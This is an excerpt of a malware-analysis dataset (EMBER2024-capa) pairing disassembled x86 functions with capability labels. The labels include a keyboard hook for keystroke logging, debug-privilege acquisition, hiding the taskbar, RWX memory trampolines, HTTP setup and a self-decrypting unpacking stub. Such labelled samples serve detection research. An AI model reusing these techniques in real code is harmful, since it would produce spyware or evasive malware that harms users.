joyce8/EMBER2024-capa huggingface dataset:
Function at 0x51562c
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x150], ecx
mov dword [ebp - 0x154], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.004047dc
xor eax, eax
push ebp
push 0x51574a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x51571d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
or eax, 1
push eax
call sub.kernel32.dll_SetErrorMode
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 4]
call fcn.004047ec
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x5156fa
test byte [ebp - 0x14c], 0x10
jne 0x5156dd
lea eax, [ebp - 0x154]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.0040459c
mov eax, dword [ebp - 0x154]
lea edx, [ebp - 0x150]
call fcn.00408b14
mov edx, dword [ebp - 0x150]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x14c]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x5156a0
push ebx
call sub.kernel32.dll_FindClose_1
mov byte [ebp - 5], 1
jmp 0x515706
call sub.kernel32.dll_GetLastError
cmp eax, 2
sete byte [ebp - 5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x515724
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetErrorMode
ret

Function at 0x51a2bc
Capabilities:
Get common file path

Disassembly:
push ebx
push ecx
mov ebx, eax
mov al, byte [ebx + 4]
sub al, 1
jb 0x51a2cb
je 0x51a2d3
jmp 0x51a2fb
mov eax, dword [ebx + 8]
mov dword [esp], eax
jmp 0x51a300
cmp dword [ebx + 8], 0
jne 0x51a2f3
lea eax, [ebx + 8]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
mov eax, dword [0x534268]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_SHGetSpecialFolderLocation
mov eax, dword [ebx + 8]
mov dword [esp], eax
jmp 0x51a300
xor eax, eax
mov dword [esp], eax
mov eax, dword [esp]
pop edx
pop ebx
ret

Function at 0x51ab5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x51ab99
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jbe 0x51ab8b
mov ecx, esi
mov eax, ebx
dec eax
test eax, eax
jl 0x51ab8b
inc eax
xor edx, edx
xor byte [ecx + edx], 0x10
inc edx
dec eax
jne 0x51ab83
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51aba0
ret

Function at 0x51c004
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
push ecx
push esp
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov cl, 1
mov edx, 0x51c03c
mov eax, dword [esp]
call fcn.0051bf6c
mov ebx, eax
mov eax, dword [esp]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop edx
pop ebx
ret
Function at 0x51ec68
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x51eccf
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
call sub.user32.dll_GetWindowTextLengthA
mov ebx, eax
lea edi, [ebx + 1]
mov edx, edi
lea eax, [ebp - 8]
call fcn.00404978
push edi
mov eax, dword [ebp - 8]
call fcn.004047ec
push eax
push esi
call sub.user32.dll_GetWindowTextA
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00404370
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51ecd6
lea eax, [ebp - 8]
call fcn.0040431c
ret

Function at 0x523404
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
push 0x40
push 0x1000
push pe_nt_image_headers32
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x52348e
xor edx, edx
push ebp
push 0x52346f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov dword [eax], 0x448b5050
mov dword [eax + 4], 0x44890824
mov dword [eax + 8], 0x58b0424
lea edx, [ebx + 4]
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], 0x8244489
mov dword [eax + 0x14], 0x25ff9058
mov dword [eax + 0x18], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x52348e
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x5247f8
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004047dc
mov eax, dword [ebp - 8]
call fcn.004047dc
xor eax, eax
push ebp
push 0x524915
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov ebx, 0x14
mov dword [ebp - 0x24], 0x14
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x3c], 2
mov eax, dword [ebp - 8]
call fcn.004047ec
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], 3
mov eax, 0x524924
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.004047ec
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x5248fa
xor eax, eax
push ebp
push 0x5248f3
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x24]
push eax
push 0x4b
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x5248d3
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x5248d7
xor eax, eax
jmp 0x5248d9
mov al, 1
mov byte [ebp - 9], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5248fa
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52491c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404340
ret
Function at 0x52492c
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004047dc
mov eax, dword [ebp - 8]
call fcn.004047dc
mov eax, dword [ebp - 0xc]
call fcn.004047dc
mov eax, dword [ebp + 0xc]
call fcn.004047dc
xor eax, eax
push ebp
push 0x524a9b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov ebx, 0x14
mov dword [ebp - 0x28], 0x14
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x40], 2
mov eax, dword [ebp - 8]
call fcn.004047ec
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 3
mov eax, 0x524aac
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.004047ec
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x524a78
xor edx, edx
push ebp
push 0x524a71
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
mov eax, dword [ebp + 0xc]
call fcn.004047ec
push eax
mov eax, dword [ebp - 0xc]
call fcn.004047ec
push eax
mov ax, word [ebp + 8]
push eax
mov eax, dword [ebp - 8]
call fcn.004047ec
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetConnectA
test eax, eax
je 0x524a5a
push ebx
lea eax, [ebp - 0x28]
push eax
push 0x4b
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x524a51
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x524a55
xor eax, eax
jmp 0x524a57
mov al, 1
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x524a78
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x524aa2
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404340
lea eax, [ebp + 0xc]
call fcn.0040431c
ret
Function at 0x524ab4
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, 0x524b7c
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x524b80
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
push 0x524b7c
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x524b73
xor eax, eax
push ebp
push 0x524b6c
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x524b73
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x524d74
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
xor edx, edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x524f88
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 0x105
mov eax, dword [ebp - 0x18]
call fcn.00402820
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x524df2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
test eax, eax
je 0x524ddc
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00404524
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x524df9
mov eax, dword [ebp - 8]
call fcn.00402840
ret

Function at 0x52629c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov bl, 2
lea eax, [ebp - 0xa]
xor ecx, ecx
mov edx, 0xa
call fcn.00402e74
push 0xa
lea eax, [ebp - 0xa]
push eax
push 0xd
push 0x400
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
je 0x5262d6
cmp byte [ebp - 0xa], 0x31
jne 0x5262d4
mov bl, 1
jmp 0x5262d6
xor ebx, ebx
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x527914
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.00468f40
test al, al
je 0x5279cd
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 8], eax
jmp 0x5279ab
cmp word [esi + 0x5da], 0
je 0x527965
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x5dc]
call dword [esi + 0x5d8]
cmp byte [ebp - 9], 0
jne 0x527982
cmp dword [ebp - 4], 0
jbe 0x52797e
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x527982
xor ebx, ebx
jmp 0x527984
mov bl, 1
test bl, bl
jne 0x5279cd
mov eax, dword [0x534268]
mov eax, dword [eax]
cmp byte [eax + 0x9c], 0
jne 0x5279cd
mov eax, dword [0x534268]
mov eax, dword [eax]
call fcn.0048229c
push 1
call sub.kernel32.dll_Sleep_1
test esi, esi
je 0x5279cd
cmp byte [esi + 0x584], 0
jne 0x5279cd
mov edx, 0xfffffdf3
mov eax, esi
call fcn.004d378c
cmp eax, 4
jne 0x527942
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x52a100
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x52a16f
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0x52a194
call sub.user32.dll_FindWindowA
test eax, eax
jbe 0x52a165
push 0
push eax
call sub.user32.dll_ShowWindow
call fcn.0052a0e0
test al, al
je 0x52a15b
push 0
push 0x52a1a4
push 0
push 0
call sub.user32.dll_FindWindowExA
test eax, eax
jbe 0x52a165
push 0
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x52a18f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x52a18f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x52a179
push 0x4002
push 0xa0000000
push 0
call fcn.004f0594
jmp 0x52a106
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x52a4fc
Capabilities:
Log keystrokes via application hook

Disassembly:
cmp dword [0x536368], 0
jne 0x52a522
push 0
mov eax, dword [0x535668]
push eax
mov eax, 0x52a448
push eax
push 0xd
call sub.user32.dll_SetWindowsHookExA
mov dword [0x536368], eax
mov al, 1
ret
xor eax, eax
ret
Function at 0x52b1d0
Capabilities:
Get disk information
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbc8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x438], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x18], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x52b408
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040431c
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.kernel32.dll_GetFileSize
test eax, eax
jne 0x52b220
cmp dword [ebp - 4], 0
je 0x52b3df
push 0
push 0
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
test ebx, ebx
je 0x52b3cd
push 1
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x52b3c7
push 0x104
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [ebp - 0x11d]
mov edx, dword [ebp - 8]
call fcn.0051af4c
test eax, eax
je 0x52b3be
mov byte [ebp - 0x31d], 0
lea eax, [ebp - 0x31d]
push eax
push 0x1ff
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x52b3be
xor eax, eax
mov dword [ebp - 0x10], eax
lea esi, [ebp - 0x31d]
mov byte [ebp - 0x31b], 0
lea edx, [ebp - 0xc]
mov eax, esi
call fcn.00409ac8
lea eax, [ebp - 0x421]
xor ecx, ecx
mov edx, 0x104
call fcn.00402e74
push 0x200
lea eax, [ebp - 0x421]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004047ec
push eax
call sub.kernel32.dll_QueryDosDeviceA
test eax, eax
je 0x52b3aa
lea eax, [ebp - 0x421]
call fcn.004098c0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x104
jae 0x52b3aa
lea edx, [ebp - 0x421]
lea eax, [ebp - 0x11d]
mov ecx, dword [ebp - 0x14]
call fcn.00409a00
test eax, eax
sete al
neg al
sbb eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x52b3aa
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x434], eax
mov byte [ebp - 0x430], 0xb
lea eax, [ebp - 0x11d]
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea edx, [ebp - 0x438]
call fcn.00409ac8
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x42c], eax
mov byte [ebp - 0x428], 0xb
lea edx, [ebp - 0x434]
mov ecx, 1
mov eax, 0x52b420
call fcn.00409fb8
mov eax, dword [ebp - 0x18]
call fcn.004045ec
inc eax
push eax
mov eax, dword [ebp - 0x18]
call fcn.004047ec
lea edx, [ebp - 0x11d]
pop ecx
call fcn.00402a1c
jmp 0x52b3aa
inc esi
cmp byte [esi], 0
jne 0x52b3a9
cmp dword [ebp - 0x10], 0
jne 0x52b3be
cmp byte [esi], 0
jne 0x52b2a0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_UnmapViewOfFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, edi
lea edx, [ebp - 0x11d]
mov ecx, 0x105
call fcn.0040459c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x52b40f
lea eax, [ebp - 0x438]
call fcn.0040431c
lea eax, [ebp - 0x18]
call fcn.0040431c
lea eax, [ebp - 0xc]
call fcn.0040431c
ret
Function at 0x52c6c8
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, eax
push esi
call sub.user32.dll_IsIconic
test eax, eax
je 0x52c6e1
push 9
push esi
call sub.user32.dll_ShowWindow
call sub.user32.dll_GetForegroundWindow
cmp esi, eax
jne 0x52c6f1
mov bl, 1
jmp 0x52c7de
mov eax, dword [0x534578]
cmp dword [eax], 2
jne 0x52c705
mov eax, dword [0x533f4c]
cmp dword [eax], 4
jg 0x52c739
mov eax, dword [0x534578]
cmp dword [eax], 1
jne 0x52c7c8
mov eax, dword [0x533f4c]
cmp dword [eax], 4
jg 0x52c739
mov eax, dword [0x533f4c]
cmp dword [eax], 4
jne 0x52c7c8
mov eax, dword [0x534320]
cmp dword [eax], 0
jle 0x52c7c8
xor ebx, ebx
push 0
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov edi, eax
push 0
push esi
call sub.user32.dll_GetWindowThreadProcessId
mov ebp, eax
push 0xffffffffffffffff
push edi
push ebp
call sub.user32.dll_AttachThreadInput
test eax, eax
je 0x52c780
push esi
call sub.user32.dll_BringWindowToTop
push esi
call sub.user32.dll_SetForegroundWindow
push 0
push edi
push ebp
call sub.user32.dll_AttachThreadInput
call sub.user32.dll_GetForegroundWindow
cmp esi, eax
sete bl
test bl, bl
jne 0x52c7d4
push 0
lea eax, [esp + 4]
push eax
push 0
push 0x2000
call sub.user32.dll_SystemParametersInfoA
push 2
push 0
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoA
push esi
call sub.user32.dll_BringWindowToTop
push esi
call sub.user32.dll_SetForegroundWindow
push 2
mov eax, dword [esp + 4]
push eax
push 0
push 0x2001
call sub.user32.dll_SystemParametersInfoA
jmp 0x52c7d4
push esi
call sub.user32.dll_BringWindowToTop
push esi
call sub.user32.dll_SetForegroundWindow
call sub.user32.dll_GetForegroundWindow
cmp esi, eax
sete bl
mov eax, ebx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x52c910
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
push ecx
push esp
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov cl, 1
mov edx, 0x52c948
mov eax, dword [esp]
call fcn.0052c878
mov ebx, eax
mov eax, dword [esp]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, ebx
pop edx
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4177c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp edx, eax
je 0x41795c
cmp dword [edx + 0x1c], 7
mov eax, dword [ecx + 4]
push esi
mov dword [ebp - 0x18], eax
mov esi, edx
mov eax, dword [ecx + 0xc]
push edi
mov dword [ebp - 0x14], eax
lea edi, [edx + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 8], eax
mov eax, dword [edi + 0x10]
jbe 0x4177fb
mov edi, dword [edi]
xor edx, edx
push ebx
mov ebx, 0x811c9dc5
add eax, eax
je 0x417824
mov ecx, eax
nop dword [eax]
movzx eax, byte [edi + edx]
inc edx
xor eax, ebx
imul ebx, eax, 0x1000193
cmp edx, ecx
jb 0x417810
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x18]
mov ecx, dword [ebp - 0x14]
and eax, ebx
lea eax, [ecx + eax*8]
mov ecx, dword [eax]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 8]
call fcn.00416900
push 0x2c
push edi
call fcn.00464170
mov eax, dword [ebp - 4]
add esp, 8
dec dword [eax + 8]
cmp ebx, dword [ebp - 0x1c]
je 0x417889
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x417840
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 8]
jne 0x417878
mov edx, dword [ebp - 0xc]
mov dword [edx], esi
mov ecx, dword [ebp - 8]
pop ebx
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x41789b
mov ecx, dword [ebp - 0x18]
mov dword [edx], ecx
jmp 0x41789e
mov ecx, dword [ebp - 8]
mov dword [edx + 4], ecx
mov ecx, dword [ebp + 0xc]
cmp esi, ecx
je 0x41794f
nop dword [eax]
cmp dword [esi + 0x1c], 7
lea edx, [esi + 8]
mov ebx, dword [edx + 0x10]
jbe 0x4178be
mov edx, dword [edx]
xor ecx, ecx
mov edi, 0x811c9dc5
add ebx, ebx
je 0x4178e4
nop dword [eax]
movzx eax, byte [edx + ecx]
inc ecx
xor eax, edi
imul edi, eax, 0x1000193
cmp ecx, ebx
jb 0x4178d0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x18]
mov ecx, dword [ebp - 0x14]
and eax, edi
lea eax, [ecx + eax*8]
mov dword [ebp + 8], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 8]
call fcn.00416900
push 0x2c
push edi
call fcn.00464170
mov eax, dword [ebp - 4]
add esp, 8
dec dword [eax + 8]
cmp ebx, dword [ebp - 0x1c]
je 0x417939
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x4178f8
mov ecx, dword [ebp + 8]
pop ebx
pop edi
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov edi, dword [ebp - 0x18]
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov ecx, dword [ebp + 0xc]
cmp esi, ecx
jne 0x4178b0
mov eax, dword [ebp - 8]
pop ebx
pop edi
mov dword [eax], esi
mov dword [esi + 4], eax
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret 8